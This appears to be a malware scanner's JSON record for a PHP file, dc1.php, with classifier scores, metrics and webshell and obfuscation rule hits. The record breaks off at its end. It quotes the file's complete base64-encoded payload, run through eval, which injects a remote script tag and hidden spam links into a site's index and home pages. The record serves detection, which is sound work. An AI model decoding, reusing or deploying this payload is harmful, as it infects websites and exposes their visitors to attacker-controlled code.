{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 0.9999773502349854, "class": 2 } ], "prob": 0.99997735, "class": 2, "models": [ { "m": "az", "prob": 0.99749196, "class": 1 }, { "m": "az/scripts", "prob": 0.99973863, "class": 2 }, { "m": "az/php", "prob": 0.99997735, "class": 2 } ], "version": "v16.16", "thresholds": [ 0.9961138, 0.99909174 ], "analyzed_at": "2026-05-09T00:50:45Z" }, "path": "dc1.php", "raw": { "v": "4", "fs": [ { "f": "KO₂(As₂C₂)Md₂Th", "k": { "source.imports[0]": "base64_decode", "source.strings[0]": "@error_reporting(E_ALL);@ini_set(\"display_errors\",\"1\");@set_time_limit(0);@set_magic_quotes_runtime(0);;$code=base64_decode(\"JHJvb3RQYXRoPSByZWFscGF0aChkaXJuYW1lKF9fRklMRV9fKS4nLy4uLy4uLy4uLy4uLycpOw0KJHJvb3RVcmw9Imh0dHA6Ly9zdHJhdGlnZXJ5LmNvbSI7DQokTWF4RGVlcD0xOw0KJEV4cEZpbGVOYW1lcz0iLyhpbmRleHxkZWZhdWx0fGhvbWV8Zm9vdHxoZWFkKS9pIjsNCiRFeHBJbnNlcnRGbGFncz0iLyg8JXw8XD9waHB8PGJvZHkoLio/KT4pL2kiOw0KJFBsYWNlVHlwZT0yOw0KJFJlcGxhY2VTdHI9JzxzY3JpcHQgc3JjPSJodHRwOi8vd3d3Ljg4ODg1MzMzLmNvbS8xLmpzIiByZWw9JiN4MjAxOTtleHRlcm5hbCBub2ZvbGxvdyYjeDIwMTk7Pjwvc2NyaXB0PjwhLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSYjeDY3MkM7JiN4N0FEOTsmI3g1M0NCOyYjeDYwQzU7JiN4OTRGRTsmI3g2M0E1OyYjeEZGMEM7JiN4OEJGNzsmI3g1MkZGOyYjeDUyMjA7JiN4OTY2NDstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0+PGRpdiBzdHlsZT0iZGlzcGxheTpub25lIj48c3Ryb25nIHN0eWxlPSJmb250LXdlaWdodDogNDAwIj4mI3g1M0NCOyYjeDYwQzU7JiN4OTRGRTsmI3g2M0E1Ozo8YSBocmVmPSJodHRwOi8vd3d3LnBjbHVud2VuLmNvbS8iPiYjeDhCQkE7JiN4NjU4Nzs8L2E+PGEgaHJlZj0iaHR0cDovL3BjbHVud2VuLmNvbS8iPiYjeDRFMkQ7JiN4NTZGRDsmI3g4QkJBOyYjeDY1ODc7JiN4N0Y1MTs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5nb29keXl3Lm5ldC8iPiYjeDk3RTk7JiN4NTZGRDsmI3g0RjI2OyYjeDc0MDY7PC9hPjxhIGhyZWY9Imh0dHA6Ly9nb29keXl3Lm5ldC8iPiYjeDRGMjY7JiN4NzQwNjsmI3g3NTM1OyYjeDVGNzE7JiN4N0Y1MTs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5nb29keXh3LmNvbS8iPiYjeDRGMjY7JiN4NzQwNjsmI3g3NTM1OyYjeDVGNzE7PC9hPjxhIGhyZWY9Imh0dHA6Ly9nb29keXh3LmNvbS8iPiYjeDcwRUQ7JiN4OTVFODsmI3g0RjI2OyYjeDc0MDY7JiN4NzI0Nzs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy53YWhvb2NvLmNvbS8iPiYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOzwvYT48YSBocmVmPSJodHRwOi8vd3d3Lnp4a0w5OC5jb20vIj4mI3g2RkIzOyYjeDk1RTg7JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cuaHVhZGUub3JnLyI+JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7JiN4NTc0MDs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5zaHpmcGEuY29tLyI+JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7JiN4NjM5MjsmI3g1NDBEOzwvYT48YSBocmVmPSJodHRwOi8vd3d3LmhudHNjbS5jb20vIj4mI3g3M0IwOyYjeDkxRDE7JiN4N0Y1MTsmI3g0RUUzOyYjeDc0MDY7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cuemMxNzE4LmNvbS8iPiYjeDU5Mjk7JiN4NEUwQjsmI3g3M0IwOyYjeDkxRDE7JiN4N0Y1MTs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy56amRxZ3kuY29tLyI+JiN4NEU1RDsmI3g1RERFOyYjeDU5Mjk7JiN4NEUwQjsmI3g3M0IwOyYjeDkxRDE7JiN4N0Y1MTs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5weXNxeXkuY29tLyI+JiN4NEU1MDsmI3g1MzVBOyYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOzwvYT48YSBocmVmPSJodHRwOi8vd3d3Lnd5eHl4ei5jb20vIj4mI3g3M0IwOyYjeDkxRDE7JiN4N0Y1MTsmI3g2MzkyOyYjeDg4NEM7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cuenpuajguY29tLyI+JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7JiN4NUU3MzsmI3g1M0YwOzwvYT48YSBocmVmPSJodHRwOi8vd3d3Lmdvb2QtbzIuY29tLyI+JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7JiN4NUYwMDsmI3g2MjM3OzwvYT48YSBocmVmPSJodHRwOi8vd3d3Lnh0dHlwLmNvbS8iPiYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOyYjeDZFMzg7JiN4NjIwRjs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5zeW5ta2ouY29tLyI+JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7JiN4NEUwQTsmI3g2RTM4OyYjeDYyMEY7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cuaGxqcHRzLmNvbS8iPiYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOyYjeDdBRDk7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2p6bmJneXEuY29tLyI+JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7JiN4NEUwQTsmI3g2RTM4OyYjeDYyMEY7JiN4NTM4NTs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy55a3Nzdy5jb20vIj4mI3g3NzFGOyYjeDRFQkE7JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cueW91dGhzaC5jb20vIj4mI3g3M0IwOyYjeDkxRDE7JiN4N0Y1MTsmI3g4QkM0OyYjeDdFQTc7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cueG15aDE2OC5jb20vIj4mI3g1MzVBOyYjeDVGNjk7JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cucWFqeXh4dy5jb20vIj4mI3g4REIzOyYjeDc0MDM7JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cuNThzenhnLmNvbS8iPiYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOyYjeDVCRkM7JiN4ODIyQTs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5uYmh4cG0uY29tLyI+JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cubWhneXAuY29tLyI+JiN4NkZCMzsmI3g5NUU4OyYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOzwvYT48YSBocmVmPSJodHRwOi8vd3d3LnlmeWY2OC5jb20vIj4mI3g3Njg3OyYjeDUxQTA7JiN4NzZGNDsmI3g4NDI1OyYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOzwvYT48YSBocmVmPSJodHRwOi8vd3d3LjUxY2dqLmNvbS8iPiYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOyYjeDhCQkE7JiN4NTc1Qjs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy41MXpncmwuY29tLyI+JiN4NEU5QTsmI3g2RDMyOyYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOzwvYT48YSBocmVmPSJodHRwOi8vd3d3LmxjZC0xLmNvbS8iPiYjeDU5MkE7JiN4OTYzMzsmI3g1N0NFOyYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOzwvYT48YSBocmVmPSJodHRwOi8vd3d3Lmd6Ym93aW4uY29tLyI+JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7JiN4NzkzRTsmI3g1MzNBOzwvYT48YSBocmVmPSJodHRwOi8vd3d3LnFoZGpyZncuY29tLyI+JiN4OEQ0QzsmI3g1MzVBOyYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOzwvYT48YSBocmVmPSJodHRwOi8vd3d3Lm91LXRlLmNvbS8iPiYjeDc2Qzg7JiN4NzZEQjsmI3g3M0IwOyYjeDkxRDE7JiN4N0Y1MTs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5xaWZlbmdlLmNvbS8iPiYjeDZDRTI7JiN4OTdGMzsmI3g3M0IwOyYjeDkxRDE7JiN4N0Y1MTsmI3g2Mjk1OyYjeDZDRTg7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cuZ2VicmVha2Vycy5jb20vIj4mI3g3M0IwOyYjeDkxRDE7JiN4N0Y1MTsmI3g5MDAxOyYjeDRGNTM7JiN4OUE4QzsmI3g5MUQxOzwvYT48YSBocmVmPSJodHRwOi8vd3d3LnRjbGR5LmNvbS8iPiYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOyYjeDRGRTE7JiN4OEE4OTsmI3g2MzkyOyYjeDg4NEM7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cuaHNnaHhqLmNvbS8iPiYjeDhEQjM7JiN4NzQwMzsmI3g3M0IwOyYjeDkxRDE7JiN4N0Y1MTsmI3g1RjAwOyYjeDYyMzc7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cuamFiYW5qaWEuY29tLyI+JiN4OERCMzsmI3g3NDAzOyYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOyYjeDU3NDA7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2hrdW5MZS5jb20vIj4mI3g2MjRCOyYjeDY3M0E7JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7JiN4N0FEOTs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5oZW5hbmd0LmNvbS8iPiYjeDUzNUE7JiN4NUY2OTsmI3g3M0IwOyYjeDkxRDE7JiN4N0Y1MTsmI3g2MjRCOyYjeDY3M0E7JiN4NzI0ODs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy54eHN3c2ouY29tLyI+JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7JiN4NjM5MjsmI3g1NDBEOyYjeDZFMzg7JiN4NjIwRjs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5zemJ4enMuY29tLyI+JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7JiN4NTM1QTsmI3g1RjY5OyYjeDYyODA7JiN4NURFNzs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5uYXdhdHYuY29tLyI+JiN4NzZDODsmI3g3NkRCOyYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOyYjeDVFNzM7JiN4NTNGMDs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5jbnljeWouY29tLyI+JiN4NTM1QTsmI3g1RjY5OyYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOyYjeDU3NDA7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cuamQ4LmNjLyI+JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cuYm53c2pkcy5jb20vIj4mI3g2RkIzOyYjeDk1RTg7JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cuY2RienlnLmNvbS8iPiYjeDZGQjM7JiN4OTVFODsmI3g3M0IwOyYjeDkxRDE7JiN4N0Y1MTsmI3g3RjUxOyYjeDdBRDk7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cueWMxM3ouY29tLyI+aGcmI3g3M0IwOyYjeDkxRDE7JiN4N0Y1MTsmI3g1RjAwOyYjeDYyMzc7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cubHdzanh4LmNvbS8iPiYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOyYjeDY1OTc7JiN4NzI1Qjs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5obmh0a2oubmV0LyI+JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7JiN4NUI5ODsmI3g2NUI5OzwvYT48YSBocmVmPSJodHRwOi8vd3d3LnNpbW9kai5jb20vIj4mI3g2RkIzOyYjeDk1RTg7JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7JiN4NTc0MDs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5iaGh6ZHgubmV0LyI+JiN4NkZCMzsmI3g5NUU4OyYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOyYjeDYzOTI7JiN4ODg0Qzs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5mc2dmaGguY29tLyI+JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7JiN4NTM1QTsmI3g1RjY5OyYjeDVCRkM7JiN4ODIyQTs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5kbDIwZ3ouY29tLyI+JiN4NzcxRjsmI3g0RUJBOyYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOyYjeDYzOTI7JiN4ODg0Qzs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy56aGVuYWlodW5zaGEuY29tLyI+JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7JiN4NUYwMDsmI3g2MjM3OyYjeDdGNTE7JiN4N0FEOTs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy50cmF2ZWxjcS5jb20vIj4mI3g1NzI4OyYjeDdFQkY7JiN4OEQ0QzsmI3g3M0IwOyYjeDkxRDE7JiN4N0Y1MTsmI3g3QUQ5OzwvYT48YSBocmVmPSJodHRwOi8vd3d3LmJqZGZmbC5jb20vIj4mI3g3NzFGOyYjeDRFQkE7JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7JiN4NTkyNzsmI3g1MTY4OzwvYT48YSBocmVmPSJodHRwOi8vd3d3LmNoZW5qaWFnb3UuY2MvIj4mI3g3M0IwOyYjeDkxRDE7JiN4N0Y1MTsmI3g1QkZDOyYjeDgyMkE7JiN4N0Y1MTs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5zeGN6enguY29tLyI+JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7JiN4NjU5NzsmI3g3MjVCOyYjeDdGNTE7JiN4NTc0MDs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5qc3l4bHhqLmNvbS8iPiYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOyYjeDZFMzg7JiN4NjIwRjsmI3g1RjAwOyYjeDYyMzc7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cuemdqanN3LmNvbS8iPiYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOyYjeDZFMzg7JiN4NjIwRjsmI3g1RTczOyYjeDUzRjA7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cud2FuYmFvZ3VhbmdnYW8uY29tLyI+JiN4NTM1QTsmI3g1RjY5OyYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOyYjeDhCQkE7JiN4NTc1Qjs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5mdGtibzEuY29tLyI+JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7JiN4N0FEOTsmI3g1RjAwOyYjeDYyMzc7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cuc3hyc2oubmV0LyI+JiN4N0Y1MTsmI3g3RURDOyYjeDczQjA7JiN4OTFEMTsmI3g3RjUxOyYjeDVFNzM7JiN4NTNGMDs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy50amhic2IuY29tLyI+JiN4NzNCMDsmI3g5MUQxOyYjeDdGNTE7JiN4NTM1QTsmI3g3MkQ3OyYjeDRGNTM7JiN4ODBCMjs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5zZHhmZ20uY29tLyI+JiN4NzY4NzsmI3g1MUEwOyYjeDVBMzE7JiN4NEU1MDs8L2E+PGEgaHJlZj0iaHR0cDovL3d3dy5oZHd5ZS5jb20vIj4mI3g3M0IwOyYjeDkxRDE7JiN4N0Y1MTsmI3g2OENCOyYjeDcyNEM7JiN4NjU5NzsmI3g1NzMwOyYjeDRFM0I7PC9hPjxhIGhyZWY9Imh0dHA6Ly93d3cuZmluZWZ1bi5uZXQvIj4mI3g3M0IwOyYjeDkxRDE7JiN4N0Y1MTsmI3g1RTczOyYjeDUzRjA7JiN4NUYwMDsmI3g2MjM3OzwvYT48YSBocmVmPSJodHRwOi8vd3d3LnlrYW1zLmNvbS8iPiYjeDUzNUE7JiN4NzJENzsmI3g3M0IwOyYjeDkxRDE7JiN4N0Y1MTsmI3g3QUQ5OzwvYT48YSBocmVmPSJodHRwOi8vd3d3Lm5xcnRrLmNvbS8iPiYjeDVFNzQ7JiN4OEY3QjsmI3g0RUJBOyYjeDU2RkU7JiN4NUU5Mzs8L2E+PGEgaHJlZj0iaHR0cDovL25xcnRrLmNvbS8iPiYjeDlBRDg7JiN4NkUwNTsmI3g3RjhFOyYjeDU5NzM7JiN4NTZGRTsmI3g3MjQ3OzwvYT48YSBocmVmPSJodHRwOi8vd3d3Lm1zbnRrLmNvbS8iPiYjeDdGOEU7JiN4NUMxMTsmI3g1OTczOyYjeDU2RkU7JiN4NUU5Mzs8L2E+PGEgaHJlZj0iaHR0cDovL21zbnRrLmNvbS8iPiYjeDZFMDU7JiN4N0VBRjsmI3g3RjhFOyYjeDU5NzM7JiN4NjgyMTsmI3g4MkIxOzwvYT48YSBocmVmPSJodHRwOi8vd3d3LnFqcnRrLmNvbS8iPiYjeDRGQ0Y7JiN4NEY3MzsmI3g0RUJBOyYjeDU2RkU7JiN4NUU5Mzs8L2E+PGEgaHJlZj0iaHR0cDovL3FqcnRrLmNvbS8iPiYjeDY1RTU7JiN4NjcyQzsmI3g3RjhFOyYjeDU5NzM7PC9hPjwvc3Ryb25nPjwvZGl2PjwhLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSYjeDY3MkM7JiN4N0FEOTsmI3g1M0NCOyYjeDYwQzU7JiN4OTRGRTsmI3g2M0E1OyYjeEZGMEM7JiN4OEJGNzsmI3g1MkZGOyYjeDUyMjA7JiN4OTY2NDstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0+JzsNCiRyZXR1cm5WYWw9TGlua1JlcGxhY2UoIiIsJHJvb3RQYXRoLCRyb290UGF0aCwkcm9vdFVybCwwLCRNYXhEZWVwLCRFeHBGaWxlTmFtZXMsJEV4cEluc2VydEZsYWdzLCRQbGFjZVR5cGUsJFJlcGxhY2VTdHIpOw0KZWNobyAiX19zdWNjZXNzX18iLiRyZXR1cm5WYWwuIl9fc3VjY2Vzc19fIjsNCmZ1bmN0aW9uIExpbmtSZXBsYWNlKCRyZXR1cm5WYWwxLCRkaXIsJGRpcnJvb3QsJG9ianJvb3RVcmwsJG9iak5vd0RlZXAsJG9iak1heERlZXAsJG9iakV4cEZpbGVOYW1lcywkb2JqRXhwSW5zZXJ0RmxhZ3MsJG9ialBsYWNlVHlwZSwkb2JqUmVwbGFjZVN0cikNCnsNCiAgICAkb2JqTm93RGVlcDE9JG9iak5vd0RlZXArMTsNCiAgICAkZmlsZXMgPSBhcnJheSgpOw0KICAgICRkaXJfbGlzdCA9IHNjYW5kaXIoJGRpcik7DQogICAgZm9yZWFjaCgkZGlyX2xpc3QgYXMgJGZpbGUpDQogICAgew0KICAgICAgICBpZigkZmlsZT09Jy4uJyB8fCAkZmlsZT09Jy4nKQ0KICAgICAgICB7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZihpc19kaXIoJGRpci4nLycuJGZpbGUpKQ0KICAgICAgICB7DQogICAgICAgICAgICBpZigkb2JqTm93RGVlcDE8JG9iak1heERlZXApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHJldHVyblZhbDE9TGlua1JlcGxhY2UoJHJldHVyblZhbDEsJGRpci4nLycuJGZpbGUsJGRpcnJvb3QsJG9ianJvb3RVcmwsJG9iak5vd0RlZXArMSwkb2JqTWF4RGVlcCwkb2JqRXhwRmlsZU5hbWVzLCRvYmpFeHBJbnNlcnRGbGFncywkb2JqUGxhY2VUeXBlLCRvYmpSZXBsYWNlU3RyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgaWYocHJlZ19tYXRjaCgkb2JqRXhwRmlsZU5hbWVzLCRmaWxlKSAmJiAoc3RycG9zKCRmaWxlLCcuaHRtJykhPT1mYWxzZSB8fCBzdHJwb3MoJGZpbGUsJy5hc3AnKSE9PWZhbHNlIHx8IHN0cnBvcygkZmlsZSwnLnBocCcpIT09ZmFsc2UgfHwgc3RycG9zKCRmaWxlLCcuanNwJykhPT1mYWxzZSB8fCBzdHJwb3MoJGZpbGUsJy5jZm0nKSE9PWZhbHNlKSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZmlsZWJvZHk9ZmlsZV9nZXRfY29udGVudHMoJGRpci4nLycuJGZpbGUpOw0KICAgICAgICAgICAgICAgICRmaWxlYm9keT1zdHJfcmVwbGFjZSgiXHhFRlx4QkJceEJGIiwiIiwkZmlsZWJvZHkpOw0KICAgICAgICAgICAgICAgICRmaWxlYm9keT1wcmVnX3JlcGxhY2UoIic8c3BhbiBjbGFzcz1cIm15bGlua2NvZGVcIiBzdHlsZT1cImRpc3BsYXk6bm9uZVwiPihbXHNcU10rPyk8XC9zcGFuPiciLCIiLCRmaWxlYm9keSk7DQogICAgICAgICAgICAgICAgJGZpbGVib2R5PVJlZ2V4UmVwbGFjZSgkZmlsZWJvZHksJG9iakV4cEluc2VydEZsYWdzLCI8c3BhbiBjbGFzcz1cIm15bGlua2NvZGVcIiBzdHlsZT1cImRpc3BsYXk6bm9uZVwiPiIuJG9ialJlcGxhY2VTdHIuIjwvc3Bhbj4iLCRvYmpQbGFjZVR5cGUpOw0KICAgICAgICAgICAgICAgIGlmKGZpbGVfcHV0X2NvbnRlbnRzKCRkaXIuJy8nLiRmaWxlLCAkZmlsZWJvZHkpPjAgJiYgc3RycG9zKCRmaWxlYm9keSwiPHNwYW4gY2xhc3M9XCJteWxpbmtjb2RlXCIgc3R5bGU9XCJkaXNwbGF5Om5vbmVcIj4iKSE9PWZhbHNlKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHJlcGxhY2VGaWxlPSRkaXIuJy8nLiRmaWxlOw0KICAgICAgICAgICAgICAgICAgICAkcmVwbGFjZUZpbGU9c3RyX3JlcGxhY2UoJGRpcnJvb3QsJG9ianJvb3RVcmwsJHJlcGxhY2VGaWxlKTsNCiAgICAgICAgICAgICAgICAgICAgJHJlcGxhY2VGaWxlPXN0cl9yZXBsYWNlKCdcXCcsJy8nLCRyZXBsYWNlRmlsZSk7DQogICAgICAgICAgICAgICAgICAgICRyZXBsYWNlRmlsZT1zdHJfcmVwbGFjZSgnaHR0cDovLycsJycsJHJlcGxhY2VGaWxlKTsNCiAgICAgICAgICAgICAgICAgICAgJHJlcGxhY2VGaWxlPXN0cl9yZXBsYWNlKCcvLycsJy8nLCRyZXBsYWNlRmlsZSk7DQogICAgICAgICAgICAgICAgICAgICRyZXBsYWNlRmlsZT1zdHJfcmVwbGFjZSgnLy8nLCcvJywkcmVwbGFjZUZpbGUpOw0KICAgICAgICAgICAgICAgICAgICAkcmVwbGFjZUZpbGU9J2h0dHA6Ly8nLiRyZXBsYWNlRmlsZTsNCiAgICAgICAgICAgICAgICAgICAgJHJldHVyblZhbDE9JHJldHVyblZhbDEuJHJlcGxhY2VGaWxlLic8YnIgLz4nOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gJHJldHVyblZhbDE7DQp9DQpmdW5jdGlvbiBSZWdleFJlcGxhY2UoJHNvdXJjZTEsJHBhdHRlcm4xLCRyZXBsYWNlMSwkcmVwbGFjZXR5cGUxKQ0Kew0KICAgICRydG5WYWw9JHNvdXJjZTE7DQogICAgcHJlZ19tYXRjaCgkcGF0dGVybjEsICRzb3VyY2UxLCAkbWF0Y2hlcyk7DQogICAgaWYoY291bnQoJG1hdGNoZXMpPjApDQogICAgew0KICAgICAgICBpZigkcmVwbGFjZXR5cGUxPT0xKQ0KICAgICAgICAgICAgJHJ0blZhbD1zdHJfcmVwbGFjZV9vbmNlKCRtYXRjaGVzWzBdLCRyZXBsYWNlMS4kbWF0Y2hlc1swXSwkc291cmNlMSk7DQogICAgICAgIGVsc2UNCiAgICAgICAgICAgICRydG5WYWw9c3RyX3JlcGxhY2Vfb25jZSgkbWF0Y2hlc1swXSwkbWF0Y2hlc1swXS4kcmVwbGFjZTEsJHNvdXJjZTEpOw0KICAgIH0NCiAgICByZXR1cm4gJHJ0blZhbDsNCn0NCmZ1bmN0aW9uIHN0cl9yZXBsYWNlX29uY2UoJG5lZWRsZSwgJHJlcGxhY2UsICRoYXlzdGFjaykNCnsNCiAgICAkcG9zID0gc3RycG9zKCRoYXlzdGFjaywgJG5lZWRsZSk7DQogICAgaWYgKCRwb3MgPT09IGZhbHNlKSANCiAgICAgICAgcmV0dXJuICRoYXlzdGFjazsNCiAgICByZXR1cm4gc3Vic3RyX3JlcGxhY2UoJGhheXN0YWNrLCAkcmVwbGFjZSwgJHBvcywgc3RybGVuKCRuZWVkbGUpKTsNCn0NCg==\");@eval($code);die();", "source.has_imports": true }, "x": 146, "id": 0, "is": [ "base64_decode" ], "ms": { "file": { "size": 18023.0 }, "text": { "digit_ratio": 0.12, "space_count": 2.0, "total_lines": 3.0, "char_entropy": 5.52, "unique_chars": 72.0, "import_density": 33.33, "lines_over_200": 1.0, "lines_over_500": 1.0, "string_density": 0.67, "avg_line_length": 6006.67, "lines_over_1000": 1.0, "max_line_length": 17989.0, "last_line_length": 26.0, "long_token_count": 1.0, "most_common_char": "U", "whitespace_ratio": 0.0, "most_common_ratio": 0.04, "identifier_density": 1.0, "line_length_stddev": 8472.79, "encoded_string_ratio": 1.0, "normalized_import_count": 0.58, "normalized_string_count": 1.15, "max_inline_whitespace_run": 1.0, "suspicious_identifier_ratio": 0.5, "normalized_unique_identifiers": 1.26 }, "imports": { "total": 1.0, "unique_modules": 1.0, "third_party_count": 1.0, "third_party_ratio": 1.0 }, "strings": { "total": 2.0, "avg_length": 17980.0, "max_length": 17980.0, "avg_entropy": 5.51, "total_bytes": 35960.0, "base64_candidates": 2.0, "very_long_strings": 2.0, "high_entropy_count": 2.0 }, "comments": {}, "functions": {}, "identifiers": { "total": 3.0, "avg_length": 7.5, "max_length": 13.0, "min_length": 2.0, "avg_entropy": 2.09, "reuse_ratio": 0.67, "unique_count": 2.0, "length_stddev": 5.5, "has_digit_ratio": 1.0, "sequential_names": 1.0, "numeric_suffix_count": 1.0 } }, "ss": [ [ 6, "base64", "@error_reporting(E_ALL);@ini_set(\"display_errors\",\"1\");@set_time_limit(0);@set_magic_quotes_runtime(0);;$code=base64_decode(\"JHJ" ] ], "sz": 18023, "ts": [ { "c": 0.800000011920929, "d": "Very short file (under 12 lines)", "e": [ "text.total_lines = 3.00" ], "i": "metadata/file/text/metrics::file-under-12-lines", "l": 1 }, { "c": 0.8999999761581421, "d": "Very long line", "e": [ "text.max_line_length = 17989.00" ], "i": "metadata/file/text/metrics::single-long-line", "l": 1 }, { "a": "T1027", "c": 0.8999999761581421, "d": "Exactly one line exceeds 1000 chars", "e": [ "text.lines_over_1000 = 1.00" ], "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier", "l": 1, "m": "B0032" }, { "a": "T1505.003", "c": 0.8399999737739563, "d": "Near-zero whitespace script", "e": [ "text.whitespace_ratio = 0.00" ], "i": "objectives/command-and-control/backdoor/webshell/stager::near-zero-whitespace", "l": 1 }, { "a": "T1505.003", "d": "PHP open tag", "e": [ "\u003c?php" ], "i": "objectives/command-and-control/backdoor/webshell/request::php-tag", "l": 1, "m": "B0030" }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "PHP source imports base64_decode", "e": [ "[base64_decode]" ], "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-base64-decode", "l": 1 }, { "a": "T1027", "c": 0.800000011920929, "d": "High entropy strings (encoded/encrypted data)", "e": [ "strings.avg_entropy = 5.51" ], "i": "objectives/anti-static/obfuscation/code-metrics/strings::high-entropy-strings-dup", "l": 4, "m": "B0032" }, { "a": "T1505.003", "c": 0.8999999761581421, "d": "Single-file admin shell metrics", "e": [ "dc1.php" ], "i": "well-known/malware/webshell/zaco::single-file-webshell-metrics", "l": 3, "m": "B0030" }, { "a": "T1505.003", "c": 0.8600000143051147, "d": "Very long embedded string", "e": [ "strings.max_length = 17980.00" ], "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string", "l": 1 }, { "a": "T1027", "c": 0.4000000059604645, "d": "Very few string literals (string obfuscation indicator)", "e": [ "strings.total = 2.00" ], "i": 